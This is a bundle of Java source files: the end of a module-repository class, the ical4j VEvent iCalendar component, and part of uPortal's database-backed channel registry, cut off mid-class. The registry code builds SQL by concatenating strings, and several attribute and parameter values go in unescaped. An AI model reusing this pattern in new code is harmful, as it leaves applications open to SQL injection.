eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.FINISHED_ERROR));
}
@Override
public void cancelled() {
checkingInProgress = false;
eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.REFRESH_FINISHED));
eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.FINISHED_ERROR));
}
});
}
public RepositoryModuleData findModuleData(String moduleId) {
return repositoryModules.get(moduleId);
}
public RepositoryModuleData.Revision findRevision(String moduleId, int revision) {
RepositoryModuleData moduleData = repositoryModules.get(moduleId);
if (moduleData == null) {
return null;
}
RepositoryModuleData.Revision revisionData = moduleData.findRevision(revision);
return revisionData;
}
/** @return URL relative to the module repository root */
public String getRelativeUrl(String resource) {
return BASE_URL + resource;
}
}
|
package net.fortuna.ical4j.model.component;
import java.util.Iterator;
import net.fortuna.ical4j.model.Component;
import net.fortuna.ical4j.model.ComponentList;
import net.fortuna.ical4j.model.Date;
import net.fortuna.ical4j.model.DateList;
import net.fortuna.ical4j.model.DateTime;
import net.fortuna.ical4j.model.Dur;
import net.fortuna.ical4j.model.Parameter;
import net.fortuna.ical4j.model.Period;
import net.fortuna.ical4j.model.PeriodList;
import net.fortuna.ical4j.model.Property;
import net.fortuna.ical4j.model.PropertyList;
import net.fortuna.ical4j.model.ValidationException;
import net.fortuna.ical4j.model.parameter.Value;
import net.fortuna.ical4j.model.property.DtEnd;
import net.fortuna.ical4j.model.property.DtStamp;
import net.fortuna.ical4j.model.property.DtStart;
import net.fortuna.ical4j.model.property.Duration;
import net.fortuna.ical4j.model.property.ExDate;
import net.fortuna.ical4j.model.property.ExRule;
import net.fortuna.ical4j.model.property.RDate;
import net.fortuna.ical4j.model.property.RRule;
import net.fortuna.ical4j.model.property.Status;
import net.fortuna.ical4j.model.property.Summary;
import net.fortuna.ical4j.model.property.Transp;
import net.fortuna.ical4j.util.Dates;
import net.fortuna.ical4j.util.PropertyValidator;
/**
* Defines an iCalendar VEVENT component.
*
* <pre>
* 4.6.1 Event Component
*
* Component Name: "VEVENT"
*
* Purpose: Provide a grouping of component properties that describe an
* event.
*
* Format Definition: A "VEVENT" calendar component is defined by the
* following notation:
*
* eventc = "BEGIN" ":" "VEVENT" CRLF
* eventprop *alarmc
* "END" ":" "VEVENT" CRLF
*
* eventprop = *(
*
* ; the following are optional,
* ; but MUST NOT occur more than once
*
* class / created / description / dtstart / geo /
* last-mod / location / organizer / priority /
* dtstamp / seq / status / summary / transp /
* uid / url / recurid /
*
* ; either 'dtend' or 'duration' may appear in
* ; a 'eventprop', but 'dtend' and 'duration'
* ; MUST NOT occur in the same 'eventprop'
*
* dtend / duration /
*
* ; the following are optional,
* ; and MAY occur more than once
*
* attach / attendee / categories / comment /
* contact / exdate / exrule / rstatus / related /
* resources / rdate / rrule / x-prop
*
* )
* </pre>
*
* Example 1 - Creating a new all-day event:
*
* <pre><code>
* java.util.Calendar cal = java.util.Calendar.getInstance();
* cal.set(java.util.Calendar.MONTH, java.util.Calendar.DECEMBER);
* cal.set(java.util.Calendar.DAY_OF_MONTH, 25);
*
* VEvent christmas = new VEvent(cal.getTime(), "Christmas Day");
*
* // initialise as an all-day event..
* christmas.getProperties().getProperty(Property.DTSTART).getParameters().add(Value.DATE);
*
* // add timezone information..
* VTimeZone tz = VTimeZone.getDefault();
* TzId tzParam = new TzId(tz.getProperties().getProperty(Property.TZID).getValue());
* christmas.getProperties().getProperty(Property.DTSTART).getParameters().add(tzParam);
* </code></pre>
*
* Example 2 - Creating an event of one (1) hour duration:
*
* <pre><code>
* java.util.Calendar cal = java.util.Calendar.getInstance();
* // tomorrow..
* cal.add(java.util.Calendar.DAY_OF_MONTH, 1);
* cal.set(java.util.Calendar.HOUR_OF_DAY, 9);
* cal.set(java.util.Calendar.MINUTE, 30);
*
* VEvent meeting = new VEvent(cal.getTime(), 1000 * 60 * 60, "Progress Meeting");
*
* // add timezone information..
* VTimeZone tz = VTimeZone.getDefault();
* TzId tzParam = new TzId(tz.getProperties().getProperty(Property.TZID).getValue());
* meeting.getProperties().getProperty(Property.DTSTART).getParameters().add(tzParam);
* </code></pre>
*
* Example 3 - Retrieve a list of periods representing a recurring event in a
* specified range:
*
* <pre><code>
* Calendar weekday9AM = Calendar.getInstance();
* weekday9AM.set(2005, Calendar.MARCH, 7, 9, 0, 0);
* weekday9AM.set(Calendar.MILLISECOND, 0);
*
* Calendar weekday5PM = Calendar.getInstance();
* weekday5PM.set(2005, Calendar.MARCH, 7, 17, 0, 0);
* weekday5PM.set(Calendar.MILLISECOND, 0);
*
* // Do the recurrence until December 31st.
* Calendar untilCal = Calendar.getInstance();
* untilCal.set(2005, Calendar.DECEMBER, 31);
* untilCal.set(Calendar.MILLISECOND, 0);
*
* // 9:00AM to 5:00PM Rule
* Recur recur = new Recur(Recur.WEEKLY, untilCal.getTime());
* recur.getDayList().add(WeekDay.MO);
* recur.getDayList().add(WeekDay.TU);
* recur.getDayList().add(WeekDay.WE);
* recur.getDayList().add(WeekDay.TH);
* recur.getDayList().add(WeekDay.FR);
* recur.setInterval(3);
* recur.setWeekStartDay(WeekDay.MO.getDay());
* RRule rrule = new RRule(recur);
*
* Summary summary = new Summary("TEST EVENTS THAT HAPPEN 9-5 MON-FRI");
*
* weekdayNineToFiveEvents = new VEvent();
* weekdayNineToFiveEvents.getProperties().add(rrule);
* weekdayNineToFiveEvents.getProperties().add(summary);
* weekdayNineToFiveEvents.getProperties().add(
* new DtStart(weekday9AM.getTime()));
* weekdayNineToFiveEvents.getProperties().add(
* new DtEnd(weekday5PM.getTime()));
*
* // Test Start 04/01/2005, End One month later.
* // Query Calendar Start and End Dates.
* Calendar queryStartDate = Calendar.getInstance();
* queryStartDate.set(2005, Calendar.APRIL, 1, 14, 47, 0);
* queryStartDate.set(Calendar.MILLISECOND, 0);
* Calendar queryEndDate = Calendar.getInstance();
* queryEndDate.set(2005, Calendar.MAY, 1, 11, 15, 0);
* queryEndDate.set(Calendar.MILLISECOND, 0);
*
* // This range is monday to friday every three weeks, starting from
* // March 7th 2005, which means for our query dates we need
* // April 18th through to the 22nd.
* PeriodList periods =
* weekdayNineToFiveEvents.getPeriods(queryStartDate.getTime(),
* queryEndDate.getTime());
* </code></pre>
*
* @author Ben Fortuna
*/
public class VEvent extends Component {
private static final long serialVersionUID = 2547948989200697335L;
private ComponentList alarms;
/**
* Default constructor.
*/
public VEvent() {
super(VEVENT);
this.alarms = new ComponentList();
}
/**
* Constructor.
*
* @param properties
* a list of properties
*/
public VEvent(final PropertyList properties) {
super(VEVENT, properties);
this.alarms = new ComponentList();
}
/**
* Constructor.
*
* @param properties
* a list of properties
* @param alarms
* a list of alarms
*/
public VEvent(final PropertyList properties, final ComponentList alarms) {
super(VEVENT, properties);
this.alarms = alarms;
}
/**
* Constructs a new VEVENT instance starting at the specified
* time with the specified summary.
* @param start the start date of the new event
* @param summary the event summary
*/
public VEvent(final Date start, final String summary) {
this();
getProperties().add(new DtStamp(new DateTime()));
getProperties().add(new DtStart(start));
getProperties().add(new Summary(summary));
}
/**
* Constructs a new VEVENT instance starting and ending at the specified
* times with the specified summary.
* @param start the start date of the new event
* @param end the end date of the new event
* @param summary the event summary
*/
public VEvent(final Date start, final Date end, final String summary) {
this();
getProperties().add(new DtStamp(new DateTime()));
getProperties().add(new DtStart(start));
getProperties().add(new DtEnd(end));
getProperties().add(new Summary(summary));
}
/**
* Constructs a new VEVENT instance starting at the specified
* times, for the specified duration, with the specified summary.
* @param start the start date of the new event
* @param duration the duration of the new event
* @param summary the event summary
*/
public VEvent(final Date start, final Dur duration, final String summary) {
this();
getProperties().add(new DtStamp(new DateTime()));
getProperties().add(new DtStart(start));
getProperties().add(new Duration(duration));
getProperties().add(new Summary(summary));
}
/**
* Returns the list of alarms for this event.
* @return a component list
*/
public final ComponentList getAlarms() {
return alarms;
}
/**
* @see java.lang.Object#toString()
*/
public final String toString() {
return BEGIN + ":" + getName() + "\r\n" + getProperties() + getAlarms()
+ END + ":" + getName() + "\r\n";
}
/**
* @see net.fortuna.ical4j.model.Component#validate(boolean)
*/
public final void validate(final boolean recurse) throws ValidationException {
// validate that getAlarms() only contains VAlarm components
Iterator iterator = getAlarms().iterator();
while (iterator.hasNext()) {
Component component = (Component) iterator.next();
if (!(component instanceof VAlarm)) {
throw new ValidationException(
"Component [" + component.getName() + "] may not occur in VEVENT");
}
}
/*
* ; the following are optional, ; but MUST NOT occur more than once
*
* class / created / description / dtstart / geo / last-mod / location /
* organizer / priority / dtstamp / seq / status / summary / transp /
* uid / url / recurid /
*/
PropertyValidator.getInstance().assertOneOrLess(Property.CLASS,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.CREATED,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.DESCRIPTION,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.DTSTART,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.GEO,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.LAST_MODIFIED,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.LOCATION,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.ORGANIZER,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.PRIORITY,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.DTSTAMP,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.SEQUENCE,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.STATUS,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.SUMMARY,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.TRANSP,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.UID,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.URL,
getProperties());
PropertyValidator.getInstance().assertOneOrLess(Property.RECURRENCE_ID,
getProperties());
Status status = (Status) getProperties().getProperty(Property.STATUS);
if (status != null &&
!Status.VEVENT_TENTATIVE.equals(status) &&
!Status.VEVENT_CONFIRMED.equals(status) &&
!Status.VEVENT_CANCELLED.equals(status)) {
throw new ValidationException(
"Status property [" + status.toString() + "] is not applicable for VEVENT");
}
/*
* ; either 'dtend' or 'duration' may appear in ; a 'eventprop', but
* 'dtend' and 'duration' ; MUST NOT occur in the same 'eventprop'
*
* dtend / duration /
*/
if (getProperties().getProperty(Property.DTEND) != null) {
if (getProperties().getProperty(Property.DURATION) != null) {
throw new ValidationException(
"Properties [" + Property.DTEND + "," + Property.DURATION
+ "] may not occur in the same VEVENT");
}
/*
* The "VEVENT" is also the calendar component used to specify an
* anniversary or daily reminder within a calendar. These events have a
* DATE value type for the "DTSTART" property instead of the default
* data type of DATE-TIME. If such a "VEVENT" has a "DTEND" property, it
* MUST be specified as a DATE value also. The anniversary type of
* "VEVENT" can span more than one date (i.e, "DTEND" property value is
* set to a calendar date after the "DTSTART" property value).
*/
DtStart start = (DtStart) getProperties().getProperty(Property.DTSTART);
DtEnd end = (DtEnd) getProperties().getProperty(Property.DTEND);
if (start != null) {
Parameter value = start.getParameters().getParameter(Parameter.VALUE);
if (value != null && !value.equals(end.getParameters().getParameter(Parameter.VALUE))) {
throw new ValidationException("Property ["
+ Property.DTEND + "] must have the same ["
+ Parameter.VALUE + "] as [" + Property.DTSTART + "]");
}
}
}
/*
* ; the following are optional, ; and MAY occur more than once
*
* attach / attendee / categories / comment / contact / exdate / exrule /
* rstatus / related / resources / rdate / rrule / x-prop
*/
if (recurse) {
validateProperties();
}
}
/**
* Returns a list of periods representing the consumed time for this event
* in the specified range. Note that the returned list may contain a single
* period for non-recurring components or multiple periods for recurring
* components. If no time is consumed by this event an empty list is returned.
* @param rangeStart the start of the range to check for consumed time
* @param rangeEnd the end of the range to check for consumed time
* @return a list of periods representing consumed time for this event
*/
public final PeriodList getConsumedTime(final Date rangeStart, final Date rangeEnd) {
PeriodList periods = new PeriodList();
// if component is transparent return empty list..
if (Transp.TRANSPARENT.equals(getProperties().getProperty(Property.TRANSP))) {
return periods;
}
DtStart start = (DtStart) getProperties().getProperty(Property.DTSTART);
DtEnd end = (DtEnd) getProperties().getProperty(Property.DTEND);
Duration duration = (Duration) getProperties().getProperty(Property.DURATION);
// if no start date specified return empty list..
if (start == null) {
return periods;
}
// if an explicit event duration is not specified, derive a value for recurring
// periods from the end date..
Dur rDuration;
if (duration == null) {
rDuration = new Dur(start.getDate(), end.getDate());
}
else {
rDuration = duration.getDuration();
}
// adjust range start back by duration to allow for recurrences that
// start before the range but finish inside..
Date adjustedRangeStart = new DateTime(rangeStart);
adjustedRangeStart.setTime(rDuration.negate().getTime(rangeStart).getTime());
// if start/end specified as anniversary-type (i.e. uses DATE values
// rather than DATE-TIME), return empty list..
if (Value.DATE.equals(start.getParameters().getParameter(Parameter.VALUE))) {
return periods;
}
// recurrence dates..
PropertyList rDates = getProperties().getProperties(Property.RDATE);
for (Iterator i = rDates.iterator(); i.hasNext();) {
RDate rdate = (RDate) i.next();
// only period-based rdates are applicable..
// FIXME: ^^^ not true - date-time/date also applicable..
if (Value.PERIOD.equals(rdate.getParameters().getParameter(Parameter.VALUE))) {
for (Iterator j = rdate.getPeriods().iterator(); j.hasNext();) {
Period period = (Period) j.next();
if (period.getStart().before(rangeEnd) && period.getEnd().after(rangeStart)) {
periods.add(period);
}
}
}
}
// recurrence rules..
PropertyList rRules = getProperties().getProperties(Property.RRULE);
for (Iterator i = rRules.iterator(); i.hasNext();) {
RRule rrule = (RRule) i.next();
DateList startDates = rrule.getRecur().getDates(start.getDate(), adjustedRangeStart, rangeEnd, (Value) start.getParameters().getParameter(Parameter.VALUE));
for (int j = 0; j < startDates.size(); j++) {
Date startDate = (Date) startDates.get(j);
periods.add(new Period(new DateTime(startDate), rDuration));
}
}
// exception dates..
PropertyList exDates = getProperties().getProperties(Property.EXDATE);
for (Iterator i = exDates.iterator(); i.hasNext();) {
ExDate exDate = (ExDate) i.next();
for (Iterator j = periods.iterator(); j.hasNext();) {
Period period = (Period) j.next();
// for DATE-TIME instances check for DATE-based exclusions also..
if (exDate.getDates().contains(period.getStart())
|| exDate.getDates().contains(new Date(period.getStart()))) {
periods.remove(period);
}
}
}
// exception rules..
// FIXME: exception rules should be consistent with exception dates (i.e. not use periods?)..
PropertyList exRules = getProperties().getProperties(Property.EXRULE);
PeriodList exPeriods = new PeriodList();
for (Iterator i = exRules.iterator(); i.hasNext();) {
ExRule exrule = (ExRule) i.next();
DateList startDates = exrule.getRecur().getDates(start.getDate(), adjustedRangeStart, rangeEnd, (Value) start.getParameters().getParameter(Parameter.VALUE));
for (Iterator j = startDates.iterator(); j.hasNext();) {
Date startDate = (Date) j.next();
exPeriods.add(new Period(new DateTime(startDate), rDuration));
}
}
// apply exceptions..
if (!exPeriods.isEmpty()) {
periods = periods.subtract(exPeriods);
}
// if periods already specified through recurrence, return..
// ..also normalise before returning.
if (!periods.isEmpty()) {
return periods.normalise();
}
// add first instance if included in range..
if (start.getDate().before(rangeEnd)) {
if (end != null && end.getDate().after(rangeStart)) {
periods.add(new Period(new DateTime(start.getDate()), new DateTime(end.getDate())));
}
else if (duration != null) {
Period period = new Period(new DateTime(start.getDate()), duration.getDuration());
if (period.getEnd().after(rangeStart)) {
periods.add(period);
}
}
}
return periods;
}
/**
* Convenience method to pull the DTSTART out of the property list.
*
* @return
* The DtStart object representation of the start Date
*/
public final DtStart getStartDate() {
return (DtStart) getProperties().getProperty(Property.DTSTART);
}
/**
* Convenience method to pull the DTEND out of the property list. If
* DTEND was not specified, use the DTSTART + DURATION to calculate it.
*
* @return
* The end for this VEVENT.
*/
public final DtEnd getEndDate() {
DtEnd dtEnd = (DtEnd) getProperties().getProperty(Property.DTEND);
// No DTEND? No problem, we'll use the DURATION.
if (dtEnd == null) {
DtStart dtStart = getStartDate();
Duration vEventDuration =
(Duration) getProperties().getProperty(Property.DURATION);
dtEnd = new DtEnd(Dates.getInstance(vEventDuration.getDuration().getTime(dtStart.getDate()),
(Value) dtStart.getParameters().getParameter(Parameter.VALUE)));
}
return dtEnd;
}
}
|
package org.jasig.portal;
import org.jasig.portal.utils.DTDResolver;
import org.jasig.portal.utils.DocumentFactory;
import org.jasig.portal.services.LogService;
import org.jasig.portal.security.IPerson;
import java.io.StringWriter;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import org.apache.xml.serialize.OutputFormat;
import org.apache.xml.serialize.XMLSerializer;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
/**
* Reference implementation of IChannelRegistry.
* @author John Laker, jlaker@udel.edu
* @version $Revision$
*/
public class RDBMChannelRegistryStore implements IChannelRegistryStore {
private static final int DEBUG = 0;
String sRegDtd = "channelRegistry.dtd";
private static final Object channelLock = new Object();
private static final HashMap channelCache = new HashMap();
public RDBMChannelRegistryStore() throws Exception {
if (RdbmServices.supportsOuterJoins) {
if (RdbmServices.joinQuery instanceof RdbmServices.JdbcDb) {
RdbmServices.joinQuery.addQuery("channel",
"{oj UP_CHANNEL UC LEFT OUTER JOIN UP_CHANNEL_PARAM UCP ON UC.CHAN_ID = UCP.CHAN_ID} WHERE");
} else if (RdbmServices.joinQuery instanceof RdbmServices.PostgreSQLDb) {
RdbmServices.joinQuery.addQuery("channel",
"UP_CHANNEL UC LEFT OUTER JOIN UP_CHANNEL_PARAM UCP ON UC.CHAN_ID = UCP.CHAN_ID WHERE");
} else if (RdbmServices.joinQuery instanceof RdbmServices.OracleDb) {
RdbmServices.joinQuery.addQuery("channel",
"UP_CHANNEL UC, UP_CHANNEL_PARAM UCP WHERE UC.CHAN_ID = UCP.CHAN_ID(+) AND");
} else {
throw new Exception("Unknown database driver");
}
}
}
/**
* Returns an XML document which describes the channel registry.
* Right now this is being stored as a string in a field but could be also implemented to get from multiple tables.
* @return a string of XML
* @throws java.lang.Exception
*/
public Document getChannelRegistryXML () throws SQLException {
Document doc = DocumentFactory.getNewDocument();
Element registry = doc.createElement("registry");
doc.appendChild(registry);
Connection con = RdbmServices.getConnection();
try {
RdbmServices.PreparedStatement chanStmt = new RdbmServices.PreparedStatement(con, "SELECT CHAN_ID FROM UP_CAT_CHAN WHERE CAT_ID=?");
try {
Statement stmt = con.createStatement();
try {
try {
String query = "SELECT CAT_ID, CAT_TITLE, CAT_DESC FROM UP_CATEGORY WHERE PARENT_CAT_ID IS NULL ORDER BY CAT_TITLE";
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.getChannelRegistryXML(): " + query);
ResultSet rs = stmt.executeQuery(query);
try {
while (rs.next()) {
int catId = rs.getInt(1);
String catTitle = rs.getString(2);
String catDesc = rs.getString(3);
// Top level <category>
Element category = doc.createElement("category");
category.setAttribute("ID", "cat" + catId);
category.setAttribute("name", catTitle);
category.setAttribute("description", catDesc);
((org.apache.xerces.dom.DocumentImpl)doc).putIdentifier(category.getAttribute("ID"), category);
registry.appendChild(category);
// Add child categories and channels
appendChildCategoriesAndChannels(con, chanStmt, category, catId);
}
} finally {
rs.close();
}
} finally {
// ap.close();
}
} finally {
stmt.close();
}
} finally {
chanStmt.close();
}
} finally {
RdbmServices.releaseConnection(con);
}
return doc;
}
protected void appendChildCategoriesAndChannels (Connection con, RdbmServices.PreparedStatement chanStmt, Element category, int catId) throws SQLException {
Document doc = category.getOwnerDocument();
Statement stmt = null;
ResultSet rs = null;
try {
stmt = con.createStatement();
String query = "SELECT CAT_ID, CAT_TITLE, CAT_DESC FROM UP_CATEGORY WHERE PARENT_CAT_ID=" + catId;
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.appendChildCategoriesAndChannels(): " + query);
rs = stmt.executeQuery(query);
while (rs.next()) {
int childCatId = rs.getInt(1);
String childCatTitle = rs.getString(2);
String childCatDesc = rs.getString(3);
// Child <category>
Element childCategory = doc.createElement("category");
childCategory.setAttribute("ID", "cat" + childCatId);
childCategory.setAttribute("name", childCatTitle);
childCategory.setAttribute("description", childCatDesc);
((org.apache.xerces.dom.DocumentImpl)doc).putIdentifier(childCategory.getAttribute("ID"), childCategory);
category.appendChild(childCategory);
// Append child categories and channels recursively
appendChildCategoriesAndChannels(con, chanStmt, childCategory, childCatId);
}
// Append children channels
chanStmt.clearParameters();
chanStmt.setInt(1, catId);
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.appendChildCategoriesAndChannels(): " + chanStmt);
rs = chanStmt.executeQuery();
try {
while (rs.next()) {
int chanId = rs.getInt(1);
Element channel = getChannelNode (chanId, con, doc, "chan" + chanId);
if (channel == null) {
LogService.instance().log(LogService.WARN, "RDBMChannelRegistryStore.appendChildCategoriesAndChannels(): channel " + chanId +
" in category " + catId + " does not exist in the store");
} else {
category.appendChild(channel);
}
}
} finally {
rs.close();
}
} finally {
stmt.close();
}
}
/**
* Get channel types xml.
* It will look something like this:
* <p><code>
*
*<channelTypes>
* <channelType ID="0">
* <class>org.jasig.portal.channels.CImage</class>
* <name>Image</name>
* <description>Simple channel to display an image with optional
* caption and subcaption</description>
* <cpd-uri>webpages/media/org/jasig/portal/channels/CImage/CImage.cpd</cpd-uri>
* </channelType>
* <channelType ID="1">
* <class>org.jasig.portal.channels.CWebProxy</class>
* <name>Web Proxy</name>
* <description>Incorporate a dynamic HTML or XML application</description>
* <cpd-uri>webpages/media/org/jasig/portal/channels/CWebProxy/CWebProxy.cpd</cpd-uri>
* </channelType>
*</channelTypes>
*
* </code></p>
* @return types, the channel types as a Document
* @throws java.sql.SQLException
*/
public Document getChannelTypesXML () throws SQLException {
Document doc = DocumentFactory.getNewDocument();
Element root = doc.createElement("channelTypes");
doc.appendChild(root);
Connection con = RdbmServices.getConnection();
try {
Statement stmt = con.createStatement();
try {
String sQuery = "SELECT TYPE_ID, TYPE, TYPE_NAME, TYPE_DESCR, TYPE_DEF_URI FROM UP_CHAN_TYPE";
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.getChannelTypesXML(): " + sQuery);
ResultSet rs = stmt.executeQuery(sQuery);
try {
while (rs.next()) {
int ID = rs.getInt(1);
String javaClass = rs.getString(2);
String name = rs.getString(3);
String descr = rs.getString(4);
String cpdUri = rs.getString(5);
// <channelType>
Element channelType = doc.createElement("channelType");
channelType.setAttribute("ID", String.valueOf(ID));
Element elem = null;
// <class>
elem = doc.createElement("class");
elem.appendChild(doc.createTextNode(javaClass));
channelType.appendChild(elem);
// <name>
elem = doc.createElement("name");
elem.appendChild(doc.createTextNode(name));
channelType.appendChild(elem);
// <description>
elem = doc.createElement("description");
elem.appendChild(doc.createTextNode(descr));
channelType.appendChild(elem);
// <cpd-uri>
elem = doc.createElement("cpd-uri");
elem.appendChild(doc.createTextNode(cpdUri));
channelType.appendChild(elem);
root.appendChild(channelType);
}
} finally {
rs.close();
}
} finally {
stmt.close();
}
} finally {
RdbmServices.releaseConnection(con);
}
return doc;
}
/** A method for adding a channel to the channel registry.
* This would be called by a publish channel.
* @param id the identifier for the channel
* @param publisherId the identifier for the user who is publishing this channel
* @param chanXML XML that describes the channel
* @param catID an array of category IDs
* @throws java.lang.Exception
*/
public void addChannel (int id, IPerson publisher, Document chanXML, String catID[]) throws Exception {
Connection con = RdbmServices.getConnection();
try {
addChannel(id, publisher, chanXML, con);
// Set autocommit false for the connection
RdbmServices.setAutoCommit(con, false);
Statement stmt = con.createStatement();
try {
// First delete existing categories for this channel
String sDelete = "DELETE FROM UP_CAT_CHAN WHERE CHAN_ID=" + id;
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.addChannel(): " + sDelete);
int recordsDeleted = stmt.executeUpdate(sDelete);
for (int i = 0; i < catID.length; i++) {
// Take out "cat" prefix if its there
String categoryID = catID[i].startsWith("cat") ? catID[i].substring(3) : catID[i];
String sInsert = "INSERT INTO UP_CAT_CHAN (CHAN_ID, CAT_ID) VALUES (" + id + "," + categoryID + ")";
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.addChannel(): " + sInsert);
stmt.executeUpdate(sInsert);
}
// Commit the transaction
RdbmServices.commit(con);
} catch (SQLException sqle) {
// Roll back the transaction
RdbmServices.rollback(con);
throw sqle;
} finally {
if (stmt != null)
stmt.close();
}
} finally {
RdbmServices.releaseConnection(con);
}
}
/** A method for adding a channel to the channel registry.
* This would be called by a publish channel.
* @param id the identifier for the channel
* @param publisher the user who is publishing this channel
* @param chanXML XML that describes the channel
*/
public void addChannel (int id, IPerson publisher, Document chanXML) throws Exception {
Connection con = RdbmServices.getConnection();
try {
addChannel(id, publisher, chanXML, con);
} finally {
RdbmServices.releaseConnection(con);
}
}
/**
* Publishes a channel.
* @param id
* @param publisherId
* @param doc
* @param con
* @exception Exception
*/
private void addChannel (int id, IPerson publisher, Document doc, Connection con) throws SQLException {
Element channel = (Element)doc.getFirstChild();
// Set autocommit false for the connection
RdbmServices.setAutoCommit(con, false);
Statement stmt = con.createStatement();
try {
String sqlTitle = RdbmServices.sqlEscape(channel.getAttribute("title"));
String sqlDescription = RdbmServices.sqlEscape(channel.getAttribute("description"));
String sqlClass = channel.getAttribute("class");
String sqlTypeID = channel.getAttribute("typeID");
String sysdate = RdbmServices.sqlTimeStamp();
String sqlTimeout = channel.getAttribute("timeout");
String timeout = "0";
if (sqlTimeout != null && sqlTimeout.trim().length() != 0) {
timeout = sqlTimeout;
}
String sqlEditable = RdbmServices.dbFlag(xmlBool(channel.getAttribute("editable")));
String sqlHasHelp = RdbmServices.dbFlag(xmlBool(channel.getAttribute("hasHelp")));
String sqlHasAbout = RdbmServices.dbFlag(xmlBool(channel.getAttribute("hasAbout")));
String sqlName = RdbmServices.sqlEscape(channel.getAttribute("name"));
String sqlFName = RdbmServices.sqlEscape(channel.getAttribute("fname"));
String sQuery = "SELECT CHAN_ID FROM UP_CHANNEL WHERE CHAN_ID=" + id;
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.addChannel(): " + sQuery);
ResultSet rs = stmt.executeQuery(sQuery);
// If channel is already there, do an update, otherwise do an insert
if (rs.next()) {
String sUpdate = "UPDATE UP_CHANNEL SET " +
"CHAN_TITLE='" + sqlTitle + "', " +
"CHAN_DESC='" + sqlDescription + "', " +
"CHAN_CLASS='" + sqlClass + "', " +
"CHAN_TYPE_ID=" + sqlTypeID + ", " +
"CHAN_PUBL_ID=" + publisher.getID() + ", " +
"CHAN_PUBL_DT=" + sysdate + ", " +
"CHAN_APVL_ID=NULL, " +
"CHAN_APVL_DT=NULL, " +
"CHAN_TIMEOUT=" + timeout + ", " +
"CHAN_EDITABLE='" + sqlEditable + "', " +
"CHAN_HAS_HELP='" + sqlHasHelp + "', " +
"CHAN_HAS_ABOUT='" + sqlHasAbout + "', " +
"CHAN_NAME='" + sqlName + "', " +
"CHAN_FNAME='" + sqlFName + "' " +
"WHERE CHAN_ID=" + id;
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.addChannel(): " + sUpdate);
stmt.executeUpdate(sUpdate);
} else {
String sInsert = "INSERT INTO UP_CHANNEL (CHAN_ID, CHAN_TITLE, CHAN_DESC, CHAN_CLASS, CHAN_TYPE_ID, CHAN_PUBL_ID, CHAN_PUBL_DT, CHAN_TIMEOUT, "
+ "CHAN_EDITABLE, CHAN_HAS_HELP, CHAN_HAS_ABOUT, CHAN_NAME, CHAN_FNAME) ";
sInsert += "VALUES (" + id + ", '" + sqlTitle + "', '" + sqlDescription + "', '" + sqlClass + "', " + sqlTypeID + ", "
+ publisher.getID() + ", " + sysdate + ", " + timeout
+ ", '" + sqlEditable + "', '" + sqlHasHelp + "', '" + sqlHasAbout
+ "', '" + sqlName + "', '" + sqlFName + "')";
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.addChannel(): " + sInsert);
stmt.executeUpdate(sInsert);
}
// First delete existing parameters for this channel
String sDelete = "DELETE FROM UP_CHANNEL_PARAM WHERE CHAN_ID=" + id;
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.addChannel(): " + sDelete);
int recordsDeleted = stmt.executeUpdate(sDelete);
NodeList parameters = channel.getChildNodes();
if (parameters != null) {
for (int i = 0; i < parameters.getLength(); i++) {
if (parameters.item(i).getNodeName().equals("parameter")) {
Element parmElement = (Element)parameters.item(i);
NamedNodeMap nm = parmElement.getAttributes();
String paramName = null;
String paramValue = null;
String paramOverride = "NULL";
for (int j = 0; j < nm.getLength(); j++) {
Node param = nm.item(j);
String nodeName = param.getNodeName();
String nodeValue = param.getNodeValue();
if (nodeName.equals("name")) {
paramName = nodeValue;
} else if (nodeName.equals("value")) {
paramValue = nodeValue;
} else if (nodeName.equals("override") && nodeValue.equals("yes")) {
paramOverride = "'Y'";
}
}
if (paramName == null && paramValue == null) {
throw new RuntimeException("Invalid parameter node");
}
String sInsert = "INSERT INTO UP_CHANNEL_PARAM (CHAN_ID, CHAN_PARM_NM, CHAN_PARM_VAL, CHAN_PARM_OVRD) VALUES (" + id +
",'" + paramName + "','" + paramValue + "'," + paramOverride + ")";
LogService.instance().log(LogService.DEBUG, "RDBMChannelRegistryStore.addChannel(): " + sInsert);
stmt.executeUpdate(sInsert);
}
}
}
// Commit the transaction
RdbmServices.commit(con);
flushChannelEntry(id);
} catch (SQLException sqle) {
RdbmServices.rollback(con);
throw sqle;
} finally {
stmt.close();
}
}
/** A method for approving a channel so that users are allowed to subscribe to it.
* This would be called by the publish channel or the administrator channel
* @param chanId Channel to approve
* @param approved Account approving the channel
* @param approveDate When should the channel appear
*/
